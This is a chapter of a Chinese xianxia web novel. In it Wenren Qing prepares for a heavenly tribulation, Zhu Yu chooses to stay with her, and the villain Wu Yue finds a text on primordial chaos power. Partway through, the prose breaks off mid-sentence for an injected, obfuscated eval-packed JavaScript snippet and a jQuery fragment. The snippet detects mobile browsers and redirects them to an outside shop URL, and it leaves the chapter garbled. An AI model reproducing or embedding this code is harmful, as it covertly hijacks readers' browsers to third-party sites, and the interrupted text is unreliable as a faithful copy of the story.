84. 我陪着你

作品:《俊俏徒儿别太蛊

    院子里安静了很久。


    槐树上的叶子又落了好几片,打着旋飘下来,落在石桌上,落在闻人清的肩头。


    祝钰先反应过来,他的脸上没什么表情,可手指收紧了,紧到指节发白,紧到那几根缠在虎口上的绷带又渗出了新的血。


    颜行的反应更直接,他手里的茶杯搁在桌上,发出一声闷响,茶水溅出来,洇湿了石桌面:“渡劫?”他的声音从喉咙里挤出来,干涩得像砂纸:“你现在的身体,渡什么劫?”


    闻人清没有回答。


    她只是低下头,看着自己的手。


    掌心还有没褪尽的伤痕,青紫色的,像地图上蜿蜒的河流。


    她能感觉到丹田里那些灵力在翻涌,不是之前那决堤般的疯狂,是另一种,更沉、更稳、更不容置疑的,像一座被强行塞进小盒子里的山,盒子随时会裂开。


    她强压了境界这么久,那时候祝钰刚入门,久青门慢慢好了起来,她不舍得走她不敢走,不敢突破,不敢把那些弟子扔下。


    她以为能压很久,压到天下太平,压到门派安定,压到可以放心地走。


    可那个大阵把一切都打乱了,原本体内自己的灵力她都是一直压着的,可那些强大的不属于她的灵力像洪水一样灌进她的身体,灌进她的丹田,灌进她辛辛苦苦垒了二十多年的堤坝里。


    堤坝裂了,她压不住了。


    颜行看着她,看着她沉默的侧脸,看着她微微蹙起的眉头。


    他的嘴唇动了动,想说什么,又咽了回去。


    嫉妒?他当然嫉妒,修仙之人谁不想渡劫飞升?他做梦都想。


    可他现在只觉得害怕,怕她扛不过去,怕这个坐在他面前、连站起来都要人扶的女人,被天雷劈成灰。


    祝钰站在闻人清身后,半步的距离,他没有说话,脸上也没有表情,他见过渡劫失败的人是什么下场,在魔尊的记忆里……多少修士死在天雷之下……


    闻人清抬起头,看着远处那片灰蒙蒙的海。


    “大阵是重慕上仙布下的。”她开口,声音很轻:“这灵力也是是重慕前辈的。”


    颜行愣了一下。


    重慕,五百年前诛杀魔尊的上仙,他也是这两天才得知是久青门的祖师,在东海以魂飞魄散的代价封印了魔尊的魔力。


    这些他都知道,可他不明白这和闻人清有什么关系。


    闻人清低下头:“重慕前辈陨落前,把大半灵力都用在施法设下大阵,那些灵力认得久青门的功法,认得……”她顿了顿:“认得我。”


    祝钰的眼睫颤了一下。


    他早就猜到了,五百年前诛杀魔尊的那张脸……虽然他没有看清楚那张脸,可他总感觉重慕和闻人清长得……是那种骨子里的、说不清道不明的东西。


    他说不清,可他感觉到了,那个阵不是在等任何人,是在等她。


    颜行张了张嘴,想说什么,可什么都说不出来。


    闻人清站起身。


    祝钰伸手扶她,她没有拒绝,只是把手搭在他手臂上,像搭在一根拐杖上:“走吧。”她说。


    颜行看着她的背影,看着她被祝钰扶着慢慢走出院子。


    他想叫住她,想问她还回不回来,想问她还撑不撑得住。


    可他什么都没问,因为他知道,她也不知道答案。


    此刻的落幽谷,是另一番景象。


    巫月站在大殿中央,衣袍上全是血,有自己的,也有别人的。


    周围横七竖八躺着尸体,那些对她不够忠心的、她信不过的、她觉得随时会背叛她的,全都死了。


    魔修们缩在角落里,大气都不敢出,看着这个女人像疯了一样在殿里走来走去,嘴里念念有词。


    她停了。


    站在大殿中央,低着头,看着自己的手。那些黑色的魔力在她指尖缠绕,像活物,像蛇,像她攥了五百年的执念。


    她忽然笑了,笑声在空荡荡的大殿里回荡,尖锐得刺耳。


    “他不会回来了。”她说,声音很轻,像在对自己说:“他永远不会回来了。”


    没有人敢接话。她转身,朝藏书阁走去。


    脚步很快,衣袍带起的风把地上的血吹出一道道痕迹。


    藏书阁在落幽谷最深处,阴暗潮湿,霉味混着陈旧的纸墨气息,呛得人喉咙发痒。


    巫月一头扎进去,再也没有出来。


    两天两夜。


    她把那些古籍从架子上抽出来,翻几页扔到一边,再抽,再翻,再扔。整个藏书阁被她翻得满地狼藉,纸页散落一地,有些被她踩碎了,有些沾了血,字迹模糊成一团。


    第二天深夜,她忽然停了。


    她跪在地上,手里捧着一卷发黄的帛书,帛书边缘已经腐烂了,缺了一大块,可中间那几行字还看得清。


    她的手指在那些字上缓缓划过,嘴唇无声地翕动,念了一遍,又念了一遍。


    然后她笑了,从喉咙深处挤出来的笑,像干涸了很久的井底忽然渗出了水。


    “上古残留的混沌之力……”她喃喃道:“原来在这里,一直都在这里。”


    她把帛书贴在胸口,闭上眼,像抱着什么失而复得的宝物:“魔尊,你五百年前就知道了,对不对?你为什么不告诉我?你为什么不敢解除封印?你可是魔神之子呀……”


    她睁开眼,看着头顶那片黑暗,嘴角慢慢翘起来:“你怕了,你怕那股力量,你怕自己控制不住,你怕……毁天灭地!”


    她没有说完。她站起来,把帛书收进怀里,转身走出藏书阁。


    脚步比来时稳了许多,每一步都踩得很实。


    东海边的临时据点里,颜行在收拾东西。


    闻人清站在院子里,祝钰站在她身后。


    “我走了。”颜行说。


    闻人清点了点头。


    没有客套,没有寒暄,只是点了点头。


    颜行看了她一眼,又看了看祝钰,嘴唇动了动,想说什么,最终什么都没说,翻身上马。


    马蹄声在青石板上敲出清脆的节奏,一下一下,越来越远,越来越轻,最后被海风吹散了。


    闻人清站在村口,看着颜行的背影消失在路尽头。祝钰站在她身后,半步的距离。


    两个人沉默了很久。


    海风从东边吹过来,带着咸腥的潮气,吹得闻人清的衣袍猎猎作响,也吹得祝钰的头发乱了。


    他没有去理,只是看着她的背影,看着她在风里显得格外单薄的肩。


    “你想回久青山吗?”闻人清忽然问。


    祝钰的手指微微蜷缩了一下。


    他没有立刻回答,只是看着远处那片灰蒙蒙的海面,看着那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396598|195091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些永不停歇的浪。


    想,他当然想。他想回去看看那些师弟师妹,想在后山的林子里坐一坐,想在那条青石板路上走一走。


    他想回到从前的日子……


    “不想。”他说。


    闻人清没有回头,也没有追问,她只是站在那里,像一尊石像。


    他知道,他回不去了。


    就算修仙界的人知道那日他在久青山上是在演戏,就算他们知道他没有背叛,可他终究是魔尊转世。


    这个身份像一道疤,长在他身上,永远褪不掉。


    那些人看见他……他们嘴上不说,可心里会怕,会怀疑,会在背后议论。


    他不怕这些,可他怕久青门因为他再受牵连,他怕师父好不容易洗清的污名,又被他的影子盖上。


    “那就不回去。”闻人清转过身,看着他。


    她的脸很白,不是那种健康的透着红润的白,是纸一样的、几乎透明的白。


    嘴唇也没有血色,干裂起皮,像很久没喝过水,可她的眼睛还亮着。


    祝钰看着她的脸,看着那些藏不住的疲惫和苍白,忽然觉得喉咙被什么东西堵住了。


    那些灵力在她身体里,那些属于仙人的、不该属于凡人的力量,正在一点一点侵蚀她。她能撑多久?他不知道。


    她也不知道。


    他的眼圈忽然红了。


    控制不住的、从身体深处涌上来的酸涩,他别过脸。


    “这强大的力量”他的声音很轻,轻到像在自言自语:“是好事还是坏事?”


    他这话像是在说给自己听,也像是在给闻人清听,此时两人是彻底同病相怜了,都是同样的强行的背负着强大的不属于自己的力量。


    闻人清没有回答,她也在想这个问题。


    从小到大,她听过无数遍“天选之人”“修仙奇才”这些词,听过无数人用羡慕的语气谈论她的天赋、她的机缘、她注定不凡的仙途。


    可从来没有人问过她,想不想要这些,师父死的时候,她不想当掌门,可她当了。她不想扛,可她扛了。大阵碎的时候,她不想接受那些灵力,可它们自己涌进来了,像洪水,像宿命,像一只看不见的手,把她往一条她从来没有选过的路上推。


    许久过后,闻人清伸出手,握住他的手腕。


    她的手很凉,凉得像从冰水里捞出来的。


    祝钰低头看着那只手,看着那几根纤细的、指节分明的手指,轻轻环在他腕骨上。


    他没有动,只是看着,看着那些指甲盖上没有褪尽的青紫色。


    “既然不想回去,”闻人清的声音很轻,轻得像怕惊动什么:“那这段时间,我陪着你,想去哪儿都行。”


    祝钰抬起头,看着她。两个人的目光在空气中撞在一起。


    海风从东边吹过来,吹得闻人清的衣袍翻飞,吹得祝钰的头发乱了,吹得那棵老槐树的叶子哗哗响。


    他们没有说话,只是看着彼此,像两个在暴风雨里走了很久的人,终于找到了一小块没有下雨的地方。


    闻人清松开他的手腕,转过身,朝村子外面走去。祝钰跟在她身后,半步的距离,不远不近。


    村口的路很窄,两边是齐腰高的荒草,被风吹得东倒西歪。


    远处那片海灰蒙蒙的,浪还在拍岸,一下一下的,像心跳。